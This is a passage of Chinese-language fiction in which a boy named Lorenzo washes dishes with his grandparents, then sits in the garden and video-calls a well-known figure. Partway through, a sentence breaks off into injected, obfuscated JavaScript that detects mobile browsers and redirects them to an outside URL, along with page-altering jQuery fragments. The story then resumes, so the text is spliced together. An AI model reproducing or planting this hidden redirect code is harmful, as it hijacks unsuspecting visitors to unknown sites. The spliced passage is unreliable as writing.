晚餐后的厨房总是带着一种温暖的倦意。
番茄和罗勒的香气还没完全散去，混合着洗洁精淡淡的柠檬味，在空气里慢悠悠地打转。
洛伦佐把盘子放进沥水架，伸手又挤了一泵洗洁精。
淡绿色的液体落在掌心，他合拢双手，搓搓，凑近，轻轻地、长长地吹了一口气——
一个颤巍巍的、彩虹色的泡泡从指缝间钻了出来，晃晃悠悠地想往上飘。
“Lollo，”奶奶的声音从身后传来，带着笑意，“你是在帮忙，还是在做厨房里的捣蛋鬼？”
“两者都有，nonna。”洛伦佐又吹出一个泡泡，看着它追逐着前一个，在吸顶灯的光晕里轻轻碰了一下，无声地消失了。
“我在测试清洁剂的效果怎么样！”
奶奶摇摇头，用干布擦着盘子。
她的动作有着兽医特有的利落和仔细，每个盘子都擦得锃亮，边缘也检查一遍，才放进碗柜。
洛伦佐负责冲洗，水流哗哗地响，和他偶尔的泡泡游戏形成奇怪的二重奏。
这时，爷爷福尔图内穿着他那件旧羊毛拖鞋，踢踢踏踏地走进厨房。
他没看水池这边，而是径直走向奶奶，很自然地揽过她的肩膀，在她脸颊上印下一个轻柔的吻。
“晚安，我的星星。”他说。
奶奶的名字斯特拉，在意大利语里是星星呀。
“晚安，老园丁。”星星笑着回应，伸手拍了拍他的胳膊。
然后爷爷转向洛伦佐。
洛伦佐还举着沾满泡沫的手，爷爷毫不在意地弯腰，也在孙子还带着点婴儿肥的脸颊上响亮地亲了一下。
“晚安，我的小鸽子~ 哦不，现在你看起来更像只玩泡泡的青蛙。”爷爷的眼睛在灯光下闪着狡黠的光。
洛伦佐用手背蹭了蹭脸，留下一点泡沫痕迹：“晚安，nonno。你要去睡了吗？”
“先不急，”爷爷站直身子，用手指把洛伦佐脸颊肉上的泡沫抹掉，“我想了想，得给瓦莱里奥打个电话。”
洛伦佐下意识把手里的水流关小了。
奶奶也停下了擦拭的动作。
“打电话？”奶奶问，“现在？都八点多了。”
“正是好时候。”爷爷说，“这个时间，他应该已经吃完晚饭，希望今天的不是烩饭。我得告诉他，我们家的Lollo不是故意给他添麻烦的。”
洛伦佐低下头，盯着水池里还在旋转的泡沫。
“nonno，不用特意……”
“要的。”福尔图内的语气温和但不容置疑，“我得让他知道，这可不是偷懒，这是我们家的特色！之前我们忘了法比奥，你爸爸拍照时能在一个位置待上好几个小时，就为了什么好的光线。所以我们家人做事，都有点自己的节奏。”
斯特拉笑了起来：“亲爱的，要我讲，你可以说这是你们遗传的‘慢性子’”
“是‘周全’。”爷爷纠正道，表情一本正经，“而且，最重要的是，我们Lollo在餐桌上听到问题后，立刻进行了‘深刻的反思’。”
他特别强调了那几个词，还冲洛伦佐眨了眨眼。“能这么快意识到问题，还愿意调整，对于十三岁的小毛毛来说，非常了不起了！我得让教练也知道这一点！”
洛伦佐感觉脸颊有点发烫，不知道是因为刚才的亲吻，还是因为爷爷的话。
他把手伸进微凉的水流里，小声嘟囔说：“我只是，不想让教练的烩饭再变成粥。”
“看！”爷爷像发现了什么重大证据，“多么体贴！好了，你们继续。我去书房打个电话，声音会轻一点的。”
他摆摆手，踢踢踏踏地走了出去，拖鞋声消失在走廊尽头。
水流声重新大了起来，洛伦佐放过了通过检测的清洁剂，埋头苦洗。
斯特拉发现害羞lollo后，嘴里轻轻地哼起了小调，有种温暖的东西充盈着空间，比灯光还要柔和。
奶奶和洛伦佐很快完成了剩下的工作。
台面擦得发亮，刀具整齐归位，垃圾袋扎好放在门边。一切都恢复了秩序，只有空气中残留的柠檬味提示着刚才的忙碌。
“好了，我的宝贝lollo，”奶奶解下围裙，“我也要去休息了。记得别在外面待太久，晚上有露水。”
“知道了，nonna。”
奶奶也给了洛伦佐一个晚安吻，然后离开了厨房。灯光被带暗了一瞬，又恢复了明亮。
洛伦佐在原地站了一会儿。
厨房突然显得很空旷，也很安静。
他擦干手走到客厅，从充电器上拔下手机，哦，是最新款。这是去年生日时，妈妈寄过来的礼物。
利贝拉作为一名无国界医生，还在和她的医疗队为陷入内战中的塞拉利昂伤民提供救助，因此她很难全程参与洛伦佐的成长，好在她的家人们都表示理解，并且对伟大的利贝拉女士心存敬意并全力支持。
手机里面存了他们和爷爷奶奶的号码，还有几个其他人的号码。
他没有回房间，而是转身穿过客厅，推开通往院子的小玻璃门。
夏夜的空气立刻包裹了他，比室内凉爽，带着植物和泥土的气息。
这个小院子是爷爷亲自打理的，为此福尔图内总是拍着肚子感到骄傲。
即使是在夜色里，也能看出轮廓：整齐的矮冬青，角落里开着晚花的茉莉，还有那张老旧的藤编躺椅，斯特拉喜欢藤编或竹编的东西。
洛伦佐把自己陷进躺椅里，藤条发出轻微的呻吟。
他抬起头。
天空是墨蓝色的，不是纯黑，米兰的光污染让它显得有点发灰。但星星还是有的，这里一颗，那里一颗，淡淡的。
街道上的路灯倒是很尽责，一个个圆滚滚的光球，沿着街道排成整齐的两行，一直延伸到视线尽头。偶尔有车灯划过，像流星，但带着人类造物的嗡嗡声。
他又看了一会儿路灯。
近处的路灯灯罩好像有点歪，灯光洒出来的形状就不太一样，一边亮些，一边暗些，像个
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17265236|198087||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
月亮被咬了一口。离他最近的那盏路灯下有一小片飞虫在绕着光球打转，密密麻麻的，但又很安静。
遗传自爸爸的那种，摄影师的眼睛，或者说，那种过于敏感的内心，开始不安分起来。
黑暗好像把白天的声音都吸走了，又把一些细小的东西放大了。
他偶尔能从空气中闻到隔壁院子飘来的味道，有点像是烟草。能听到电视的模糊声响，大概是在放热闹的音乐节目。能感觉到身下藤条的纹理，透过薄薄的T恤印在背上。
然后，毫无征兆地，一种强烈的分享欲像泡泡一样，从他心里冒了出来。
跟爷爷奶奶说？他们已经睡了，或者快睡了。
跟远方的父母说？有时差，而且他们的回复总是隔着一层说不清的、遥远的关切，甚至带点愧疚。
他想跟一个……既不完全了解他，但又离他的日常不那么远的人说。
想说那盏歪了的路灯，想说那些傻乎乎绕着光飞的虫子，想说爷爷那通电话让他心里胀胀的感觉，甚至想说洗洁精泡泡在灯光下真的有七种颜色。
手指几乎是自己动起来的。
他翻开手机，屏幕的光亮在昏黑里照亮了他的脸。
通讯录往下滑，滑过家人的名字，滑过几个青训队友和教练的号码，停在一个没有存名字、但号码备注着数字的联系人上。
他盯着那个号码看了几秒。
心脏突然跳得有点快，像比赛前站在球员通道里。
也许对方在忙？也许已经休息了？
但分享欲像涨潮的水，推着他。
他按下了视频通话的请求键。
手机的扬声器里传来漫长的“嘟——嘟——”声，在安静的院子里格外清晰。每一声都让洛伦佐的神经绷紧一点。
他几乎想挂断了。
就在他手指要移向红色按钮的瞬间，
“嘟”声停了。
屏幕晃了一下，然后亮了起来。一张脸出现在小小的屏幕上。
光线有点暗，背景看起来像是一个简洁的客厅或者书房，远处有书架。那张脸很熟悉，意大利人几乎每周都能在体育报纸或电视上看到。
此刻，对方似乎有些惊讶，眉毛微微扬起，但表情很快缓和下来，甚至露出了一点介于困惑和有趣之间的神色。
他没有立刻说话，只是看着屏幕这边陷在黑暗躺椅里、被手机光照亮的金发男孩。
洛伦佐咽了口唾沫，突然忘了自己刚才想说的所有关于路灯和虫子的话。
他只能听到自己有些急促的呼吸，和院子里夏夜微弱的虫鸣。
屏幕那头的人终于动了动，稍微凑近了些，清晰的声音透过听筒传来，带着一丝刚结束一天生活的松弛，和一点点不难察觉的温和：
“洛伦佐？”
这个名字从他的口中吐出，自然而熟悉，仿佛已经叫过很多次。
洛伦佐深吸一口气，手指握紧了温热的手机外壳。
夜晚，好像从这一刻开始，才真正降临。